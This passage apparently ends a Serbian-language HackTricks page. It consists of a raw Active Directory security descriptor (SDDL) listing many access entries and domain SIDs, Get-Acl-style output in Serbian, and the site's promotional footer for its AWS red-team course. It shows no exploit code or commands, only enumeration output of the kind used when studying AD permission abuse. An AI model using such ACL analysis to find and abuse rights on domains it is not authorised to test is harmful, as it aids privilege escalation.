87)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Vlasnik : BUILTIN\Administrators
Grupa : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>